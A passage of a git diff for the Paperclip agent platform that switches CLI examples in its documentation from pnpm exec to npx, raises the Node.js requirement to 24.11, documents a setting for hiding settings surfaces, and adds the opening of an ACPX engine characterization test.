+expected secret metadata and delivery before using the new binding. Acceptance
+is not execution; a failed wake or missing metadata means the alias must be
+treated as unavailable until a fresh proposal executes successfully.
+
 ## List Secrets
 
 ```
@@ -114,7 +172,7 @@ credentials must not be stored in Paperclip `company_secrets`.
 The equivalent CLI check is:
 
 ```sh
-pnpm exec paperclipai secrets doctor --company-id {companyId}
+npx paperclipai secrets doctor --company-id {companyId}
 ```
 
 ## Provider Vaults
@@ -485,7 +543,7 @@ as declarations in the package manifest. Exports omit secret values, secret IDs,
 provider references, and encrypted provider material. Use:
 
 ```sh
-pnpm exec paperclipai secrets declarations --company-id {companyId}
+npx paperclipai secrets declarations --company-id {companyId}
 ```
 
 to inspect the declarations that an export would emit before moving a package.
diff --git a/docs/cli/control-plane-commands.md b/docs/cli/control-plane-commands.md
index f2ac4908f00..75f197cc354 100644
--- a/docs/cli/control-plane-commands.md
+++ b/docs/cli/control-plane-commands.md
@@ -9,39 +9,39 @@ Client-side commands for managing issues, agents, approvals, and more.
 
 ```sh
 # List issues
-pnpm exec paperclipai issue list [--status todo,in_progress] [--assignee-agent-id <id>] [--match text]
+npx paperclipai issue list [--status todo,in_progress] [--assignee-agent-id <id>] [--match text]
 
 # Get issue details
-pnpm exec paperclipai issue get <issue-id-or-identifier>
+npx paperclipai issue get <issue-id-or-identifier>
 
 # Create issue
-pnpm exec paperclipai issue create --title "..." [--description "..."] [--status todo] [--priority high]
+npx paperclipai issue create --title "..." [--description "..."] [--status todo] [--priority high]
 
 # Update issue
-pnpm exec paperclipai issue update <issue-id> [--status in_progress] [--comment "..."]
+npx paperclipai issue update <issue-id> [--status in_progress] [--comment "..."]
 
 # Add comment
-pnpm exec paperclipai issue comment <issue-id> --body "..." [--reopen]
+npx paperclipai issue comment <issue-id> --body "..." [--reopen]
 
 # Checkout task
-pnpm exec paperclipai issue checkout <issue-id> --agent-id <agent-id>
+npx paperclipai issue checkout <issue-id> --agent-id <agent-id>
 
 # Release task
-pnpm exec paperclipai issue release <issue-id>
+npx paperclipai issue release <issue-id>
 ```
 
 ## Company Commands
 
 ```sh
-pnpm exec paperclipai company list
-pnpm exec paperclipai company get <company-id>
-pnpm exec paperclipai company current [--company-id <company-id>]
+npx paperclipai company list
+npx paperclipai company get <company-id>
+npx paperclipai company current [--company-id <company-id>]
 
 # Export to portable folder package (writes manifest + markdown files)
-pnpm exec paperclipai company export <company-id> --out ./exports/acme --include company,agents
+npx paperclipai company export <company-id> --out ./exports/acme --include company,agents
 
 # Preview import (no writes)
-pnpm exec paperclipai company import \
+npx paperclipai company import \
   <owner>/<repo>/<path> \
   --target existing \
   --company-id <company-id> \
@@ -50,7 +50,7 @@ pnpm exec paperclipai company import \
   --dry-run
 
 # Apply import
-pnpm exec paperclipai company import \
+npx paperclipai company import \
   ./exports/acme \
   --target new \
   --new-company-name "Acme Imported" \
@@ -67,80 +67,80 @@ command.
 ## Agent Commands
 
 ```sh
-pnpm exec paperclipai agent list
-pnpm exec paperclipai agent get <agent-id>
+npx paperclipai agent list
+npx paperclipai agent get <agent-id>
 ```
 
 ## Skills Commands
 
 ```sh
 # Browse app-shipped catalog skills without changing company state
-pnpm exec paperclipai skills browse [--kind bundled|optional] [--category software-development] [--query github]
-pnpm exec paperclipai skills search "pull request" [--json]
+npx paperclipai skills browse [--kind bundled|optional] [--category software-development] [--query github]
+npx paperclipai skills search "pull request" [--json]
 
 # Inspect catalog metadata and file inventory before install
-pnpm exec paperclipai skills inspect github-pr-workflow
+npx paperclipai skills inspect github-pr-workflow
 
 # Install a catalog skill into the company skill library
 # This does not attach the skill to any agent.
-pnpm exec paperclipai skills install github-pr-workflow --company-id <company-id>
-pnpm exec paperclipai skills install github-pr-workflow --as pr-flow --force --company-id <company-id>
+npx paperclipai skills install github-pr-workflow --company-id <company-id>
+npx paperclipai skills install github-pr-workflow --as pr-flow --force --company-id <company-id>
 
 # External sources still use import instead of catalog install
-pnpm exec paperclipai skills import ./skills/my-skill --company-id <company-id>
-pnpm exec paperclipai skills import owner/repo/path/to/skill --company-id <company-id>
+npx paperclipai skills import ./skills/my-skill --company-id <company-id>
+npx paperclipai skills import owner/repo/path/to/skill --company-id <company-id>
 
 # Attach desired company skills to an agent after install/import
-pnpm exec paperclipai skills agent sync <agent-id> --skill github-pr-workflow --mode add --company-id <company-id>
+npx paperclipai skills agent sync <agent-id> --skill github-pr-workflow --mode add --company-id <company-id>
 ```
 
 ## Approval Commands
 
 ```sh
 # List approvals
-pnpm exec paperclipai approval list [--status pending]
+npx paperclipai approval list [--status pending]
 
 # Get approval
-pnpm exec paperclipai approval get <approval-id>
+npx paperclipai approval get <approval-id>
 
 # Create approval
-pnpm exec paperclipai approval create --type hire_agent --payload '{"name":"..."}' [--issue-ids <id1,id2>]
+npx paperclipai approval create --type hire_agent --payload '{"name":"..."}' [--issue-ids <id1,id2>]
 
 # Approve
-pnpm exec paperclipai approval approve <approval-id> [--decision-note "..."]
+npx paperclipai approval approve <approval-id> [--decision-note "..."]
 
 # Reject
-pnpm exec paperclipai approval reject <approval-id> [--decision-note "..."]
+npx paperclipai approval reject <approval-id> [--decision-note "..."]
 
 # Request revision
-pnpm exec paperclipai approval request-revision <approval-id> [--decision-note "..."]
+npx paperclipai approval request-revision <approval-id> [--decision-note "..."]
 
 # Resubmit
-pnpm exec paperclipai approval resubmit <approval-id> [--payload '{"..."}']
+npx paperclipai approval resubmit <approval-id> [--payload '{"..."}']
 
 # Comment
-pnpm exec paperclipai approval comment <approval-id> --body "..."
+npx paperclipai approval comment <approval-id> --body "..."
 ```
 
 ## Activity Commands
 
 ```sh
-pnpm exec paperclipai activity list [--agent-id <id>] [--entity-type issue] [--entity-id <id>]
+npx paperclipai activity list [--agent-id <id>] [--entity-type issue] [--entity-id <id>]
 ```
 
 ## Dashboard
 
 ```sh
-pnpm exec paperclipai dashboard get
+npx paperclipai dashboard get
 ```
 
 ## Instance Settings
 
 ```sh
-pnpm exec paperclipai instance settings:general
-pnpm exec paperclipai instance settings:general:update --payload-json '{...}'
-pnpm exec paperclipai instance settings:experimental
-pnpm exec paperclipai instance settings:experimental:update --payload-json '{...}'
+npx paperclipai instance settings:general
+npx paperclipai instance settings:general:update --payload-json '{...}'
+npx paperclipai instance settings:experimental
+npx paperclipai instance settings:experimental:update --payload-json '{...}'
 ```
 
 Experimental features are opt-in and are provided without compatibility guarantees. They may break, change, or be removed at any time. Use them at your own risk.
@@ -148,5 +148,5 @@ Experimental features are opt-in and are provided without compatibility guarante
 ## Heartbeat
 
 ```sh
-pnpm exec paperclipai heartbeat run --agent-id <agent-id> [--api-base http://localhost:3100]
+npx paperclipai heartbeat run --agent-id <agent-id> [--api-base http://localhost:3100]
 ```
diff --git a/docs/cli/overview.md b/docs/cli/overview.md
index e580d5d4ba4..3b2d77feaeb 100644
--- a/docs/cli/overview.md
+++ b/docs/cli/overview.md
@@ -29,7 +29,7 @@ Company-scoped commands also accept `--company-id <id>`.
 For clean local instances, pass `--data-dir` on the command you run:
 
 ```sh
-pnpm paperclipai run --data-dir ./tmp/paperclip-dev
+npx paperclipai run --data-dir ./tmp/paperclip-dev
 ```
 
 ## Context Profiles
@@ -38,7 +38,7 @@ Store defaults to avoid repeating flags:
 
 ```sh
 # Set defaults
-pnpm exec paperclipai context set --api-base http://localhost:3100 --company-id <id>
+npx paperclipai context set --api-base http://localhost:3100 --company-id <id>
 
 # View current context
 pnpm paperclipai context show
@@ -47,24 +47,24 @@ pnpm paperclipai context show
 pnpm paperclipai context list
 
 # Switch profile
-pnpm paperclipai context use default
+npx paperclipai context use default
 ```
 
 To avoid storing secrets in context, use an env var:
 
 ```sh
-pnpm exec paperclipai context set --api-key-env-var-name PAPERCLIP_API_KEY
+npx paperclipai context set --api-key-env-var-name PAPERCLIP_API_KEY
 export PAPERCLIP_API_KEY=...
 ```
 
 Secret operations are available under `paperclipai secrets`:
 
 ```sh
-pnpm exec paperclipai secrets declarations --company-id <company-id> --kind secret
-pnpm exec paperclipai secrets create --company-id <company-id> --name anthropic-api-key --value-env ANTHROPIC_API_KEY
-pnpm exec paperclipai secrets link --company-id <company-id> --name prod-stripe-key --provider aws_secrets_manager --external-ref <provider-ref>
-pnpm exec paperclipai secrets doctor --company-id <company-id>
-pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id> --apply
+npx paperclipai secrets declarations --company-id <company-id> --kind secret
+npx paperclipai secrets create --company-id <company-id> --name anthropic-api-key --value-env ANTHROPIC_API_KEY
+npx paperclipai secrets link --company-id <company-id> --name prod-stripe-key --provider aws_secrets_manager --external-ref <provider-ref>
+npx paperclipai secrets doctor --company-id <company-id>
+npx paperclipai secrets migrate-inline-env --company-id <company-id> --apply
 ```
 
 Context is stored at `~/.paperclip/context.json`.
diff --git a/docs/cli/setup-commands.md b/docs/cli/setup-commands.md
index bf0dfca6366..608bcfd2854 100644
--- a/docs/cli/setup-commands.md
+++ b/docs/cli/setup-commands.md
@@ -22,7 +22,7 @@ Does:
 Choose a specific instance:
 
 ```sh
-pnpm paperclipai run --instance dev
+npx paperclipai run --instance dev
 ```
 
 ## `paperclipai onboard`
@@ -104,7 +104,7 @@ This now includes bind-oriented deployment settings such as `PAPERCLIP_BIND` and
 Allow a private hostname for authenticated/private mode:
 
 ```sh
-pnpm exec paperclipai allowed-hostname my-tailscale-host
+npx paperclipai allowed-hostname my-tailscale-host
 ```
 
 ## Local Storage Paths
@@ -126,6 +126,6 @@ PAPERCLIP_HOME=/custom/home PAPERCLIP_INSTANCE_ID=dev pnpm paperclipai run
 Or pass `--data-dir` directly on any command:
 
 ```sh
-pnpm paperclipai run --data-dir ./tmp/paperclip-dev
-pnpm paperclipai doctor --data-dir ./tmp/paperclip-dev
+npx paperclipai run --data-dir ./tmp/paperclip-dev
+npx paperclipai doctor --data-dir ./tmp/paperclip-dev
 ```
diff --git a/docs/deploy/deployment-modes.md b/docs/deploy/deployment-modes.md
index b346d7f4625..292e33743aa 100644
--- a/docs/deploy/deployment-modes.md
+++ b/docs/deploy/deployment-modes.md
@@ -42,7 +42,7 @@ pnpm paperclipai onboard
 Allow custom Tailscale hostnames:
 
 ```sh
-pnpm exec paperclipai allowed-hostname my-machine
+npx paperclipai allowed-hostname my-machine
 ```
 
 ### `authenticated` + `public`
diff --git a/docs/deploy/environment-variables.md b/docs/deploy/environment-variables.md
index b46dd64b1be..df5b2008f15 100644
--- a/docs/deploy/environment-variables.md
+++ b/docs/deploy/environment-variables.md
@@ -19,6 +19,33 @@ All environment variables that Paperclip uses for server configuration.
 | `PAPERCLIP_DEPLOYMENT_MODE` | `local_trusted` | Runtime mode override |
 | `PAPERCLIP_DEPLOYMENT_EXPOSURE` | `private` | Exposure policy when deployment mode is `authenticated` |
 | `PAPERCLIP_API_URL` | (auto-derived) | Paperclip API base URL. When set externally (e.g., via Kubernetes ConfigMap, load balancer, or reverse proxy), the server preserves the value instead of deriving it from the listen host and port. Useful for deployments where the public-facing URL differs from the local bind address. |
+| `PAPERCLIP_HIDDEN_SETTINGS` | (unset) | Comma-separated settings surfaces to hide from the UI and floor at the API, for operators hosting Paperclip for others (managed cloud, internal shared server). See [Hiding settings surfaces](#hiding-settings-surfaces). |
+
+### Hiding settings surfaces
+
+`PAPERCLIP_HIDDEN_SETTINGS` takes keys from the registry in
+`packages/shared/src/settings-visibility.ts`:
+
+- Any instance settings page: `instance.profile`, `instance.environments`,
+  `instance.access`, `instance.heartbeats`, `instance.experimental`,
+  `instance.plugins`, `instance.adapters` — removed from navigation and
+  routing (the General page is the settings root and stays visible). Hiding
+  `instance.access`, `instance.plugins`, or `instance.adapters` also floors
+  their management endpoints with `403 settings_operator_managed`; hiding
+  `instance.experimental` floors every experimental toggle write.
+- Any Instance → General section: `instance.general.censorUsernameInLogs`,
+  `instance.general.keyboardShortcuts`, `instance.general.backupRetention`,
+  `instance.general.feedbackDataSharingPreference` (each also rejects
+  value-changing writes via `PATCH /api/instance/settings/general`), plus the
+  UI-only `instance.general.deploymentStatus` and `instance.general.signOut`.
+- Any experimental toggle: `instance.experimental.<flagKey>` (e.g.
+  `instance.experimental.enableSmokeLab`) — the card disappears and
+  value-changing writes are rejected.
+
+Unknown keys are logged and ignored, so one list can be rolled across a fleet
+of mixed app versions. With the variable unset nothing is hidden and behavior
+is identical to earlier releases. Hiding a toggle does not change its value;
+pair hiding with the desired default where it matters.
 
 ## Secrets
 
diff --git a/docs/deploy/local-development.md b/docs/deploy/local-development.md
index e8c257601bb..ac93c069ff7 100644
--- a/docs/deploy/local-development.md
+++ b/docs/deploy/local-development.md
@@ -7,7 +7,7 @@ Run Paperclip locally with zero external dependencies.
 
 ## Prerequisites
 
-- Node.js 20+
+- Node.js 24.11+
 - pnpm 9+
 
 ## Start Dev Server
@@ -64,7 +64,7 @@ pnpm dev --authenticated-private
 Allow additional private hostnames:
 
 ```sh
-pnpm exec paperclipai allowed-hostname dotta-macbook-pro
+npx paperclipai allowed-hostname dotta-macbook-pro
 ```
 
 For full setup and troubleshooting, see [Tailscale Private Access](/deploy/tailscale-private-access).
@@ -84,10 +84,10 @@ curl http://localhost:3100/api/companies
 For safer parallel local experiments, initialize a dedicated worktree instance instead of reusing your main checkout:
 
 ```sh
-pnpm paperclipai worktree:make local-lab --seed-mode minimal
+npx paperclipai worktree:make local-lab --seed-mode minimal
 cd ~/paperclip-local-lab
 pnpm paperclipai worktree env                       # inspect generated env exports
-eval "$(pnpm paperclipai worktree env)"             # bash/zsh
+eval "$(npx paperclipai worktree env)"             # bash/zsh
 pnpm paperclipai run
 pnpm paperclipai doctor
 ```
@@ -95,14 +95,15 @@ pnpm paperclipai doctor
 If the experiment gets noisy, repair or reseed the worktree without touching the main branch:
 
 ```sh
-pnpm paperclipai worktree repair --branch paperclip-local-lab
-pnpm paperclipai worktree reseed --from . --to paperclip-local-lab
+# worktree repair rebuilds the local checkout metadata, so run the checked-out CLI through the direct-exec form.
+node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts worktree repair --branch paperclip-local-lab
+npx paperclipai worktree reseed --from . --to paperclip-local-lab
 ```
 
 When done, shut it down and remove the isolated state explicitly:
 
 ```sh
-pnpm paperclipai worktree:cleanup local-lab --force
+npx paperclipai worktree:cleanup local-lab --force
 ```
 
 ## Reset Dev Data
diff --git a/docs/deploy/secrets.md b/docs/deploy/secrets.md
index 7fdb3f0c16a..c589eacf2ca 100644
--- a/docs/deploy/secrets.md
+++ b/docs/deploy/secrets.md
@@ -203,7 +203,7 @@ Validate secrets config:
 
 ```sh
 pnpm paperclipai doctor
-pnpm exec paperclipai secrets doctor --company-id <company-id>
+npx paperclipai secrets doctor --company-id <company-id>
 ```
 
 ### Environment Overrides
@@ -475,8 +475,8 @@ store.
 If you have existing agents with inline API keys in their config, migrate them to encrypted secret refs:
 
 ```sh
-pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id>
-pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id> --apply
+npx paperclipai secrets migrate-inline-env --company-id <company-id>
+npx paperclipai secrets migrate-inline-env --company-id <company-id> --apply
 
 # low-level script for direct database maintenance
 pnpm secrets:migrate-inline-env         # dry run
@@ -493,7 +493,7 @@ Company exports include only environment declarations. They do not include
 secret IDs, provider references, encrypted material, or plaintext values.
 
 ```sh
-pnpm exec paperclipai secrets declarations --company-id <company-id> --kind secret
+npx paperclipai secrets declarations --company-id <company-id> --kind secret
 ```
 
 Before importing a package into another instance, use those declarations to
diff --git a/docs/deploy/tailscale-private-access.md b/docs/deploy/tailscale-private-access.md
index 3a86f9f28c1..550b72d5087 100644
--- a/docs/deploy/tailscale-private-access.md
+++ b/docs/deploy/tailscale-private-access.md
@@ -58,7 +58,7 @@ http://my-macbook.tailnet.ts.net:3100
 If you access Paperclip with a custom private hostname, add it to the allowlist:
 
 ```sh
-pnpm exec paperclipai allowed-hostname my-macbook.tailnet.ts.net
+npx paperclipai allowed-hostname my-macbook.tailnet.ts.net
 ```
 
 ## 5. Verify the server is reachable
diff --git a/docs/feedback-voting.md b/docs/feedback-voting.md
index 4c3a56c0475..b9d40db7ad5 100644
--- a/docs/feedback-voting.md
+++ b/docs/feedback-voting.md
@@ -36,7 +36,7 @@ Shows a color-coded summary: vote counts, per-trace details with reasons, and ex
 paperclipai feedback report
 
 # Point to a different server or company
-pnpm exec paperclipai feedback report --api-base http://127.0.0.1:3000 --company-id <company-id>
+npx paperclipai feedback report --api-base http://127.0.0.1:3000 --company-id <company-id>
 
 # Include raw payload dumps in the report
 pnpm paperclipai feedback report --payloads
@@ -112,7 +112,7 @@ Exports are full by default. `traces/` keeps the Paperclip envelope, while `full
 
 ```bash
 # Custom server and output directory
-pnpm exec paperclipai feedback export --api-base http://127.0.0.1:3000 --company-id <company-id> --out ./my-export
+npx paperclipai feedback export --api-base http://127.0.0.1:3000 --company-id <company-id> --out ./my-export
 ```
 
 ### Reading an exported trace
diff --git a/docs/guides/board-operator/experimental-features.md b/docs/guides/board-operator/experimental-features.md
index f6ebcf84fe4..a1886e10de1 100644
--- a/docs/guides/board-operator/experimental-features.md
+++ b/docs/guides/board-operator/experimental-features.md
@@ -23,7 +23,7 @@ The CLI exposes the same surface:
 
 ```sh
 pnpm paperclipai instance settings:experimental
-pnpm exec paperclipai instance settings:experimental:update --payload-json '{...}'
+npx paperclipai instance settings:experimental:update --payload-json '{...}'
 ```
 
 Those commands change the same opt-in settings that the UI manages.
diff --git a/docs/guides/openclaw-docker-setup.md b/docs/guides/openclaw-docker-setup.md
index c91fb722ba7..27262d263c4 100644
--- a/docs/guides/openclaw-docker-setup.md
+++ b/docs/guides/openclaw-docker-setup.md
@@ -82,7 +82,7 @@ PAPERCLIP_COOKIE="your_session_cookie=..." pnpm smoke:openclaw-join
 - If Paperclip rejects the container-visible host with a hostname error, allow it from host:
 
 ```bash
-pnpm exec paperclipai allowed-hostname host.docker.internal
+npx paperclipai allowed-hostname host.docker.internal
 ```
 
 Then restart Paperclip and rerun the smoke script.
@@ -90,7 +90,7 @@ Then restart Paperclip and rerun the smoke script.
 - Authenticated/private mode: ensure hostnames are in the allowed list when required:
 
 ```bash
-pnpm exec paperclipai allowed-hostname <host>
+npx paperclipai allowed-hostname <host>
 ```
 
 ## Prerequisites
@@ -316,7 +316,7 @@ This issue does not affect the Docker Sandbox approach.
 
 ### Node version mismatch in community template images
 
-Some community-built sandbox templates (e.g. `olegselajev241/openclaw-dmr:latest`) ship Node 20, but OpenClaw requires Node >=22.12.0. Use our locally built `openclaw:local` image as the sandbox template instead, which includes Node 22.
+Some community-built sandbox templates (e.g. `olegselajev241/openclaw-dmr:latest`) ship Node 20, but OpenClaw requires Node >=22.12.0. Use our locally built `openclaw:local` image as the sandbox template instead, which includes Node 24.
 
 ### Gateway takes ~15 seconds to respond after start
 
diff --git a/docs/start/architecture.md b/docs/start/architecture.md
index dd8839a51bc..11bd009ddc7 100644
--- a/docs/start/architecture.md
+++ b/docs/start/architecture.md
@@ -29,7 +29,7 @@ Paperclip is a monorepo with four main layers.
 | Layer | Technology |
 |-------|-----------|
 | Frontend | React 19, Vite 6, React Router 7, Radix UI, Tailwind CSS 4, TanStack Query |
-| Backend | Node.js 20+, Express.js 5, TypeScript |
+| Backend | Node.js 24.11+, Express.js 5, TypeScript |
 | Database | PostgreSQL 17 (or embedded PGlite), Drizzle ORM |
 | Auth | Better Auth (sessions + API keys) |
 | Adapters | Claude Code CLI, Codex CLI, shell process, HTTP webhook |
diff --git a/docs/start/quickstart.md b/docs/start/quickstart.md
index 2abe538b0ec..73dbc9b79ea 100644
--- a/docs/start/quickstart.md
+++ b/docs/start/quickstart.md
@@ -25,7 +25,7 @@ npx paperclipai run
 
 ## Local Development
 
-For contributors working on Paperclip itself. Prerequisites: Node.js 20+ and pnpm 9+.
+For contributors working on Paperclip itself. Prerequisites: Node.js 24.11+ and pnpm 9+.
 
 Clone the repository, then:
 
diff --git a/package.json b/package.json
index 7ef3cad63f1..16132aeaae2 100644
--- a/package.json
+++ b/package.json
@@ -40,6 +40,7 @@
     "release:bootstrap-package": "node scripts/bootstrap-npm-package.mjs",
     "check:tokens": "node scripts/check-forbidden-tokens.mjs",
     "check:token-gates": "node scripts/check-token-gates.mjs",
+    "check:node-version": "node scripts/check-node-version-policy.mjs",
     "check:no-git-push": "node scripts/check-no-git-push.mjs",
     "test:check-no-git-push": "node --test scripts/check-no-git-push.test.mjs",
     "test:install-sh-docker": "./scripts/test-install-sh-docker.sh",
@@ -69,14 +70,14 @@
     "connections:ingest-app-definitions": "node scripts/ingest-app-definitions.mjs"
   },
   "devDependencies": {
-    "@playwright/test": "^1.61.1",
+    "@playwright/test": "^1.62.1",
     "cross-env": "^10.1.0",
     "esbuild": "^0.28.1",
     "typescript": "^5.7.3",
     "vitest": "^4.1.10"
   },
   "engines": {
-    "node": ">=20"
+    "node": ">=24.11.0"
   },
   "packageManager": "pnpm@9.15.4",
   "pnpm": {
@@ -86,8 +87,8 @@
     },
     "overrides": {
       "rollup": ">=4.59.0",
-      "react": "^19.2.7",
-      "react-dom": "^19.2.7",
+      "react": "^19.2.8",
+      "react-dom": "^19.2.8",
       "lexical": "0.49.0",
       "@lexical/clipboard": "0.49.0",
       "@lexical/link": "0.49.0",
diff --git a/packages/adapter-utils/CHANGELOG.md b/packages/adapter-utils/CHANGELOG.md
index 76cabbd73fb..a59d0375284 100644
--- a/packages/adapter-utils/CHANGELOG.md
+++ b/packages/adapter-utils/CHANGELOG.md
@@ -1,5 +1,11 @@
 # @paperclipai/adapter-utils
 
+## Unreleased
+
+### Patch Changes
+
+- Allow the Paperclip host to route adapter sandbox-sync full-tree Git enumeration through its process-wide bounded scheduler.
+
 ## 0.3.1
 
 ### Patch Changes
diff --git a/packages/adapter-utils/package.json b/packages/adapter-utils/package.json
index 5f8525a3846..7e5d745171d 100644
--- a/packages/adapter-utils/package.json
+++ b/packages/adapter-utils/package.json
@@ -47,7 +47,10 @@
     "picocolors": "^1.1.1"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/adapter-utils/src/acpx-engine/composed-run-characterization.test.ts b/packages/adapter-utils/src/acpx-engine/composed-run-characterization.test.ts
new file mode 100644
index 00000000000..67e4e4df061
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/composed-run-characterization.test.ts
@@ -0,0 +1,876 @@
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import type { AcpRuntimeOptions } from "acpx/runtime";
+import type { AdapterExecutionContext, AdapterRuntimeMcpAccess } from "@paperclipai/adapter-utils";
+import {
+  prepareAdapterExecutionTargetRuntime,
+  startAdapterExecutionTargetPaperclipBridge,
+  startAdapterExecutionTargetProcessSessionBridge,
+} from "@paperclipai/adapter-utils/execution-target";
+
+// This file is a characterization test. It pins the engine boundary's CURRENT
+// behavior; it never changes production code. Each test states the observed
+// contract of `executeAcpxEngine` as data, so a later refactor that alters an
+// exit path's result form, its finalization set, or its warm-lane decision
+// fails here.
+//
+// Adapter-boundary automatic CLI fallback note (File 1b): the codex, claude, and
+// gemini adapters wrap this engine and fall back to their CLI lane when an
+// AUTOMATIC ACP selection fails, but RETHROW when ACP was EXPLICITLY selected.
+// Those three adapters live in higher packages that depend on this one, so an
+// adapter-utils test cannot import them (a reverse dependency does not exist in
+// package.json). That branch already has REAL coverage in each adapter package:
+//   - packages/adapters/codex-local/src/server/execute.acp-fallback.test.ts
+//   - packages/adapters/claude-local/src/server/execute.acp-fallback.test.ts
+//   - packages/adapters/gemini-local/src/server/execute.acp-fallback.test.ts
+// and each adapter's `normalizeEngine` / `resolveXxxExecutionEngineForRun`
+// classification (explicit acp/cli vs automatic acp) is pinned in each
+// package's acp.test.ts. This file pins the engine-level exit paths those
+// adapters wrap.
+
+// Wrap the staging seam + both sandbox bridges in call-recording spies that
+// still delegate to the real implementations (a runner-backed sandbox test
+// exercises them end-to-end against a local runner). This lets the staging
+// tests assert the exact `runtimeRootDir`/`workspaceLocalDir`/`assets` the
+// engine threads without changing any real behavior for the other tests.
+vi.mock("@paperclipai/adapter-utils/execution-target", async (importActual) => {
+  const actual = await importActual<typeof import("@paperclipai/adapter-utils/execution-target")>();
+  return {
+    ...actual,
+    prepareAdapterExecutionTargetRuntime: vi.fn(actual.prepareAdapterExecutionTargetRuntime),
+    startAdapterExecutionTargetPaperclipBridge: vi.fn(actual.startAdapterExecutionTargetPaperclipBridge),
+    startAdapterExecutionTargetProcessSessionBridge: vi.fn(actual.startAdapterExecutionTargetProcessSessionBridge),
+  };
+});
+import {
+  createAcpxEngineExecutor,
+  type AcpxEngineExecutorOptions,
+} from "./execute.js";
+import { runChildProcess } from "../server-utils.js";
+
+const tempRoots: string[] = [];
+
+async function makeTempRoot() {
+  const root = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-acpx-skills-"));
+  tempRoots.push(root);
+  return root;
+}
+
+afterEach(async () => {
+  // A remote run stages a process-session bridge whose detached event writer can
+  // still be flushing a trailing event file into `.../process-sessions/<id>/events`
+  // when the run's own best-effort `client.remove(sessionDir)` (which production
+  // catch-wraps) has already returned. Under CI load that trailing write can land
+  // between this recursive delete's directory snapshot and its `rmdir`, surfacing as
+  // `ENOTEMPTY`. `maxRetries`/`retryDelay` make the cleanup ride out that window the
+  // same way production tolerates it, instead of failing the just-passed test.
+  await Promise.all(
+    tempRoots.splice(0).map((root) =>
+      fs.rm(root, { recursive: true, force: true, maxRetries: 5, retryDelay: 50 }),
+    ),
+  );
+});
+
+function createLocalSandboxRunner(
+  onExecute?: (input: {
+    command: string;
+    args?: string[];
+    cwd?: string;
+    env?: Record<string, string>;
+  }) => void,
+) {
+  let counter = 0;
+  return {
+    execute: async (input: {
+      command: string;
+      args?: string[];
+      cwd?: string;
+      env?: Record<string, string>;
+      stdin?: string;
+      timeoutMs?: number;
+      onLog?: (stream: "stdout" | "stderr", chunk: string) => Promise<void>;
+      onSpawn?: (meta: { pid: number; startedAt: string }) => Promise<void>;
+    }) => {
+      counter += 1;
+      onExecute?.(input);
+      const command = input.command === "bash" ? "/bin/bash" : input.command;
+      return await runChildProcess(`acpx-sandbox-run-${counter}`, command, input.args ?? [], {
+        cwd: input.cwd ?? process.cwd(),
+        env: input.env ?? {},
+        stdin: input.stdin,
+        timeoutSec: Math.max(1, Math.ceil((input.timeoutMs ?? 30_000) / 1000)),
+        graceSec: 5,
+        onLog: input.onLog ?? (async () => {}),
+        onSpawn: input.onSpawn
+          ? async (meta) => input.onSpawn?.({ pid: meta.pid, startedAt: meta.startedAt })
+          : undefined,
+      });
+    },
+  };
+}
+
+function buildRuntime(
+  onSetConfigOption?: (input: { key: string; value: string }) => void,
+  onEnsureSession?: (input: Record<string, unknown>) => void,
+) {
+  return {
+    ensureSession: async (input: Record<string, unknown>) => {
+      onEnsureSession?.(input);
+      return ({
+      backendSessionId: "backend-session",
+      agentSessionId: "agent-session",
+      runtimeSessionName: "runtime-session",
+      });
+    },
+    startTurn: () => ({
+      events: (async function* () {
+        yield { type: "done", stopReason: "end_turn" };
+      })(),
+      result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+      cancel: async () => {},
+    }),
+    setConfigOption: async (input: { key: string; value: string }) => {
+      onSetConfigOption?.(input);
+    },
+    close: async () => {},
+  };
+}
+
+async function runExecutor(
+  config: Record<string, unknown>,
+  options: {
+    context?: Record<string, unknown>;
+    executionTransport?: Record<string, unknown>;
+    authToken?: string;
+    executionTarget?: Record<string, unknown>;
+    runtimeMcp?: AdapterRuntimeMcpAccess;
+    prepareRemoteManagedHome?: AcpxEngineExecutorOptions["prepareRemoteManagedHome"];
+    startupTraceContext?: AdapterExecutionContext["startupTraceContext"];
+  } = {},
+) {
+  const runtimeOptions: Record<string, unknown>[] = [];
+  const configOptions: Array<{ key: string; value: string }> = [];
+  const sessionInputs: Record<string, unknown>[] = [];
+  const meta: Record<string, unknown>[] = [];
+  const logs: Array<{ stream: string; text: string }> = [];
+  const events: Array<{ eventType: string; payload?: Record<string, unknown> }> = [];
+  const execute = createAcpxEngineExecutor({
+    ...(options.prepareRemoteManagedHome
+      ? { prepareRemoteManagedHome: options.prepareRemoteManagedHome }
+      : {}),
+    createRuntime: (options) => {
+      runtimeOptions.push(options as unknown as Record<string, unknown>);
+      return buildRuntime(
+        ({ key, value }) => configOptions.push({ key, value }),
+        (input) => sessionInputs.push(input),
+      ) as never;
+    },
+  });
+
+  const result = await execute({
+    runId: "run-1",
+    agent: {
+      id: "agent-1",
+      companyId: "company-1",
+    },
+      runtime: {},
+      config,
+      context: options.context ?? {},
+      executionTransport: options.executionTransport,
+      authToken: options.authToken,
+      executionTarget: options.executionTarget,
+      runtimeMcp: options.runtimeMcp,
+      startupTraceContext: options.startupTraceContext,
+      onLog: async (stream: "stdout" | "stderr", text: string) => {
+        logs.push({ stream, text });
+      },
+    onMeta: async (payload: unknown) => {
+      meta.push(payload as Record<string, unknown>);
+    },
+    onEvent: async (event: { eventType: string; payload?: Record<string, unknown> }) => {
+      events.push(event);
+    },
+  } as never);
+
+  expect(result.exitCode).toBe(0);
+  return { logs, meta, events, runtimeOptions, configOptions, sessionInputs, result };
+}
+
+// A remote sandbox setup that stages the host worktree through the real local
+// runner, so a run reaches the post-build window with live bridges and a held
+// staging lease.
+async function setupRemoteSandbox() {
+  const root = await makeTempRoot();
+  const stateDir = path.join(root, "state");
+  const localCwd = path.join(root, "worktree");
+  const remoteCwd = path.join(root, "remote-workspace");
+  await fs.mkdir(localCwd, { recursive: true });
+  await fs.mkdir(remoteCwd, { recursive: true });
